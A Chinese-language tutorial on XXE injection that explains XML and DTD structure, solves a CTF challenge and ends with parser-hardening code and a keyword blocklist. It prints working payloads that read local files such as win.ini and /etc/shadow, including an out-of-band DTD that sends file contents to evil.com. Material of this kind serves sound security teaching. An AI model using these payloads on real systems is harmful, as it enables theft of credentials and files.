声明:本篇文章不涉及实际的攻击渗透等,均在自己搭建的靶机下进行操作。仅限用于合法授权的安全测试、技术研究与学习交流目的,禁止非法用途,任何因违反此条约定而产生的全部法律责任及后果,均需由您自行独立承担。
1.XXE攻击概述
- 定义:XXE攻击是一种利用XML解析器处理外部实体的能力,通过构造恶意XML数据来执行攻击的技术。
- 原理:攻击者通过在XML数据中注入恶意的外部实体引用,当程序解析该XML数据时,会触发对外部实体的请求,从而可能执行任意代码、读取敏感文件或发起其他攻击。
2.XML和外部实体
XML:一种用于标记电子文件的标记语言,具有结构性,可用于标记数据和定义数据类型。XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息。XML 允许创作者定义自己的标签和自己的文档结构。
语法:
- XML元素都必须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号。
结构:
- XML 文档声明,在文档的第一行
- XML 文档类型定义,即DTD,XXE 漏洞所在的地方
- XML 文档元素
外部实体:XML中的一种特性,允许在XML文档中引用外部资源。攻击者可以利用这一点来引入恶意的外部实体。
3.PHP中的XXE漏洞
libxml:PHP中用于解析XML的库。从版本2.9.0开始,libxml默认禁止解析外部实体,以防止XXE攻击。
模拟漏洞:如果测试环境中的PHP使用的libxml版本大于2.9.1,可以通过手动指定LIBXML_NOENT选项来开启外部实体解析功能,从而模拟XXE漏洞。
4.安全建议
更新库版本:确保使用最新版本的XML解析库,以利用其内置的安全特性。
禁用外部实体:在生产环境中,应始终禁用对外部实体的解析,以防止XXE攻击。
输入验证:对所有用户输入进行严格的验证和过滤,以防止恶意XML数据的注入。
XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。其实XML是一门语言,类似于html,但是后来主要用xml的文档格式来传输数据,但是现在比较新的系统,大家之前传输数据用的都是json了。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的就是libxml,其在>=2.9.0的版本中,默认是禁止解析xml外部实体内容的。如果你测试用的php中解析xml用的libxml的版本大于了2.9.1,为了模拟漏洞,那么可以通过手动指定LIBXML_NOENT选项开启xml外部实体解析功能。
详细教程:https://www.w3school.com.cn/xml/xml_tree.asp
5.XXE漏洞原理
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
6.文档结构
<?xml version="1.0" encoding="gb2312" encoding="UTF-8"?> //xml声明、版本、编码 <!DOCTYPE root SYSTEM "http://www.xxx.com/file"> //定义DTD文件,格式为:root指根节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。 <ELEMENT root (other)> //元素声明,声明xml中包含的元素,声明中需要指定元素名称(root、other等)和元素类别、内容等 <ELEMENT to (#PCDATA)> //<--定义to元素为"#PCDATA"类型--> <ELEMENT generality "content"> //ELEMENT标签用于声明实体,关于实体的定义如下:“实体”是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在DTD文件中定义的变量,xml解析器解析xml文件的时候,会将被引用的值替换为实体内容,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体generality,内容为content <ELEMENT % extendity SYSTEM "http://www.xxx.com/file"> //定义参数实体,格式为:<!ELEMENT % 参数名称 参数内容> 引用格式:%参数名称; 参数实体只能在DTD文件中引用,内部DTD文件的参数引用只能出现于DTD标签可出现的位罝,外部DTD文件参数实体的引用可以出于DTD标签内容,比如:<!ELEMENT % "Nanother" > %extendity; //引用参数外部实体 |
7.DTD的基础知识
7.1文档类型定义(DTD)
Document Type Definition 即文档类型定义,用来为XML文档定义语法约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。这里也就是XXE存在的地方。
参考链接:http://www.w3school.com.cn/dtd/index.asp
7.2作用
DTD 主要用于指定 XML 或 HTML 文档中元素、属性、实体等的定义和规范。使用 DTD 可以定义标记、元素、实体、注释等,从而确保 XML 或 HTML 等文档的结构和格式的正确性。
DTD 可以内联在 XML 或 HTML 文档中,也可以作为一个外部文件引用,以进行重复使用。通过使用 DTD 可以实现文档的可验证性(验证文档结构是否符合规范)、可读性(便于人类理解)和可扩展性(方便增加和调整文档内容)。
7.3DTD文档的三种格式
1.内部DTD文档 <!DOCTYPE 根元素[定义内容]> 2.外部DTD文档 <!DOCTYPE 根元素 SYSTEM "DTD文件路径"> 3.内外部DTD文档结合 <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]> |
7.4基本的PAYLOAD结构
对于安全人员来讲,就认识下面的几行代码即可。
首先了解下基本的PAYLOAD结构,然后再介绍每部分涉及的知识点,如下PAYLOAD开头进行了XML的声明,然后使用DTD声明实体(这里使用了们e协议),最后使用XML获取实体的数据。
上面的fles:///etc/passwd,这是直接读取服务器的/passwd文件内容。最后XML部分就是调用DTD的foo功能,也就是调用xxe,取出数据然后显示,基本上任何xxe的攻击代码都是这么几部分。
使用DTD实体的攻击方式: DTD引用方式(简要了解): 1. DTD内部声明 <!DOCTYPE 根元素 [元素声明]> 2. DTD外部引用 <!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI"> 3. 引用公共DTD <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI"> |
7.5示例
pikachu测试一下
payload如下:而且你需要掌握的代码就这几行
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt">]> <x>&f;</x> |
先创建一个1.txt文件
8.如何找xxe漏洞
8.1找一些可提交数据的地方
8.2抓包修改数据类型json转xml
将json数据改为xml数据,完成xxe攻击
jarvisoj上的一道题目API调用
这道题的题目说明是:请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,对其进行抓包。
是一个json数据提交,修改数据发现可以被解析,修改为xml。
成功获取到flag,CTF{XxE_15_n0T_S7range_Enough}
9.XXE攻击情况
9.1两种情况:有回显和无回显
有回显就是请求有响应数据能看到
无回显就是看不到响应数据
9.2有回显
特征
攻击结果(如文件内容、服务器响应)直接显示在应用响应中。
利用流程
构造恶意XML:
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY exfil SYSTEM "file:///C:/Windows/win.ini"> ]> <data>&exfil;</data> |
发送请求:通过HTTP POST上传XML数据至漏洞接口。
结果回显:响应中显示win.ini文件内容。
; for 16-bit app support... [fonts] |
9.3无回显
方式1:让目标网站报错,在报错信息中查看外带的目标服务器的敏感数据。
目的:通过触发目标网站的错误,使其在错误信息中暴露敏感数据。
步骤:(1)注入恶意XML:攻击者向目标服务器发送包含恶意外部实体的XML请求。(2)触发错误:服务器在解析恶意XML时出错,导致错误信息被记录或显示。(3)查看错误信息:攻击者在错误信息中查找泄露的敏感数据,如文件路径、数据库连接信息等。
方式2:通过请求的方式将目标服务器的敏感数据外带到攻击者的日志记录中。
目的:通过构造特定的请求,将目标服务器的敏感数据外带到攻击者可以访问的地方。
步骤:(1)注入恶意XML:攻击者向目标服务器发送包含恶意外部实体的XML请求。(2)外带数据:恶意外部实体引用服务器上的敏感文件或数据,并将其包含在响应中。(3)访问日志:攻击者通过访问自己的请求日志,获取包含敏感数据的响应内容。
1.特征:目标应用不返回敏感数据,需通过DNS/HTTP请求外传数据到攻击者服务器。
2.攻击流程:
(1)准备恶意DTD(托管在攻击者服务器 http://evil.com/xxe.dtd):
<!ENTITY % payload SYSTEM "file:///etc/shadow"> <!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://evil.com/?leak=%payload;'>"> %param; %exfil; |
注:使用%声明参数实体,仅在DTD中有效。
(2)发送攻击XML:
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://evil.com/xxe.dtd"> %remote; <!-- 加载外部DTD --> ]> <data>123</data> |
(3)数据外传:
目标服务器解析XML → 加载外部DTD
DTD中的%payload;读取本地文件
通过%exfil;触发HTTP请求,将文件内容拼接在URL参数中发送至evil.com
10.XXE漏洞修复与防御
1. 提高版本
2. 代码修复:
PHP
libxml_disable_entity_loader(true); |
JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); setFeature("http://xml.org/sax/features/external-general-entities", false); setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
Python
from lxml import etree xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False)) |
3. 手动黑名单过滤(不推荐)
过滤关键词:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC